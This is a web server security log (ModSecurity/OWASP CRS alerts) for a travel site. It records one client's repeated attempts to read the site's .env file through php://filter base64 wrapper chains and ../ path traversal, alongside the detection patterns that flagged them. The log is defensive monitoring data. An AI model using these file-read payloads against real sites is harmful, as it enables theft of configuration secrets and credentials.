/?raw=1&read=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ts=39_z_LaUwaZAgBkRKMMolZWG01LOJzdxGd6XRa8EK8IgONQolFl2TMju9Yd3CLIMT5_za8Je4YcanpL21YwJ3ZSfg7Q09agkHZICoFxe3t-d72lPTwedWEbntcFtNNdX8k5AVaMbZyE7fqk2Fq5Wt5YHvdhq9s25YlWMyIqN8jIGrmNmCwMiNRfcp977EiBhKoMww6jO7ZlK94gMtQ1UADOEuh1KB4NvLKnjshKqpFEVAPuRrGAgsmMrvny274iV1ijy2CqfSmkbYLZYF9vvqeuY&ref=EKY5AIBU6JBGN44JO7HN2PJTPG7FSKS5EWFJ56GMAAIPAV433FNYH..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMgAAAAc"]
[Fri Jul 17 08:55:11.392660 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMgAAAAc"]
[Fri Jul 17 08:55:11.392714 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&ts=39_z_LaUwaZAgBkRKMMolZWG01LOJzdxGd6XRa8EK8IgONQolFl2TMju9Yd3CLIMT5_za8Je4YcanpL21YwJ3ZSfg7Q09agkHZICoFxe3t-d72lPTwedWEbntcFtNNdX8k5AVaMbZyE7fqk2Fq5Wt5YHvdhq9s25YlWMyIqN8jIGrmNmCwMiNRfcp977EiBhKoMww6jO7ZlK94gMtQ1UADOEuh1KB4NvLKnjshKqpFEVAPuRrGAgsmMrvny274iV1ijy2CqfSmkbYLZYF9vvqeuY&ref=EKY5AIBU6JBGN44JO7HN2PJTPG7FSKS5EWFJ56GMAAIPAV433FNYHAOJIAAVRHAJAW7PYCWAO44H7BM..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMgAAAAc"]
[Fri Jul 17 08:55:11.392757 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&ts=39_z_lauwazagbkrkmmolzwg01lojzdxgd6xra8ek8igonqolfl2tmju9yd3climt5_za8je4ycanpl21ywj3zsfg7q09agkhzicofxe3t-d72lptwedwebntcftnndx8k5avambzye7fqk2fq5wt5yhvdhq9s25ylwmyiqn8jigrmnmcwminrfcp977eibhkomww6jo7zlk94gmtq1uadoeuh1kb4nvlknjshkqpfevapurrgagsmmrvny274iv1ijy2cqfsmkbylzyf9vvqeuy&ref=eky5aibu6jbgn44jo7hn2pjtpg7fsks5ewfj56gmaaipav433fnyhaojiaavrhajaw7pycwao44h7bm..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMgAAAAc"]
[Fri Jul 17 08:55:11.392784 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMgAAAAc"]
[Fri Jul 17 08:55:11.392795 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95xwAAAAw"]
[Fri Jul 17 08:55:11.392808 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMgAAAAc"]
[Fri Jul 17 08:55:11.393201 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMgAAAAc"]
[Fri Jul 17 08:55:11.394191 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMgAAAAc"]
[Fri Jul 17 08:55:11.394330 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.394642 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MMgAAAAc"]
[Fri Jul 17 08:55:11.396074 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&read=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&cb=n6HTyvxaIXKYQQCjOc_uOfgsC2l5YXADiGXGWS6yBUv5tWvL7O1dhuacCliy2o4QdMjKi1WXfroXM87uivFKeV9kNGj56cQFk1Jdf1YgtCVWZEC_9zpYHksaejph1LjyDs3BiuJvqmyKvN8bd71pwjrN925zQ8JOffEq3kGze8HEtPFlbCe3JbjR9LD7V628DpSErLF2CcXvLv4S18I1t9Bgxa-vcnVijzeK7jr2vsM24SmUD5xEBDrdpbqTjbHDHNxFyuo9XOQ23XlQ0blqdX_3&ref=C6VV464ODV57ZA65IJED4YEZA35WARG3SVEBIBZ2HEJDTTJC..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LwAAABw"]
[Fri Jul 17 08:55:11.396130 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LwAAABw"]
[Fri Jul 17 08:55:11.396176 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&cb=n6HTyvxaIXKYQQCjOc_uOfgsC2l5YXADiGXGWS6yBUv5tWvL7O1dhuacCliy2o4QdMjKi1WXfroXM87uivFKeV9kNGj56cQFk1Jdf1YgtCVWZEC_9zpYHksaejph1LjyDs3BiuJvqmyKvN8bd71pwjrN925zQ8JOffEq3kGze8HEtPFlbCe3JbjR9LD7V628DpSErLF2CcXvLv4S18I1t9Bgxa-vcnVijzeK7jr2vsM24SmUD5xEBDrdpbqTjbHDHNxFyuo9XOQ23XlQ0blqdX_3&ref=C6VV464ODV57ZA65IJED4YEZA35WARG3SVEBIBZ2HEJDTTJCOFJYJQI7Y6JWLCBA4GBLXHD7OHPQ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LwAAABw"]
[Fri Jul 17 08:55:11.396223 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&cb=n6htyvxaixkyqqcjoc_uofgsc2l5yxadigxgws6ybuv5twvl7o1dhuaccliy2o4qdmjki1wxfroxm87uivfkev9kngj56cqfk1jdf1ygtcvwzec_9zpyhksaejph1ljyds3biujvqmykvn8bd71pwjrn925zq8joffeq3kgze8hetpflbce3jbjr9ld7v628dpserlf2ccxvlv4s18i1t9bgxa-vcnvijzek7jr2vsm24smud5xebdrdpbqtjbhdhnxfyuo9xoq23xlq0blqdx_3&ref=c6vv464odv57za65ijed4yeza35warg3svebibz2hejdttjcofjyjqi7y6jwlcba4gblxhd7ohpq..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LwAAABw"]
[Fri Jul 17 08:55:11.396254 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LwAAABw"]
[Fri Jul 17 08:55:11.396285 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LwAAABw"]
[Fri Jul 17 08:55:11.396638 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LwAAABw"]
[Fri Jul 17 08:55:11.397631 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LwAAABw"]
[Fri Jul 17 08:55:11.397745 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.398133 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-LwAAABw"]
[Fri Jul 17 08:55:11.403120 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHQAAABQ"]
[Fri Jul 17 08:55:11.404243 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHQAAABQ"]
[Fri Jul 17 08:55:11.404368 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.404685 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sHQAAABQ"]
[Fri Jul 17 08:55:11.407867 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZAAAAAU"]
[Fri Jul 17 08:55:11.408858 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZAAAAAU"]
[Fri Jul 17 08:55:11.408977 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.409247 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AZAAAAAU"]
[Fri Jul 17 08:55:11.414899 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&read=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=AlLmtyhVJKuenxdjdkQ6mKLlkNJB1AYIctc-JyOUM45dRQqHY0EkOc2BvxbLMLmD9-1ut0bwhRBDTgDnrnGs5u82sddbbLLQdK7VSGrfiGRSs70WnT7biWdrHj46AsIxmPavfPbcENkJZauQyE4I08hai6ThhE8ZP3kWFzIeUun3JbNmuFvcTGGLMnGynnUsE9iFQad1YZVn-U2TvOvzs332LqwVEmp97UrM9IPZdp2ksljsVf9ybNoXH0z8CHxY3fAFaGCU6cO-31fBJFsa0gkC&extra=AGFUGCLCLVRUEWNTYH7GUXF4JZKIZD3Z3NUDOXY3RDEHXVV..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQwAAAAY"]
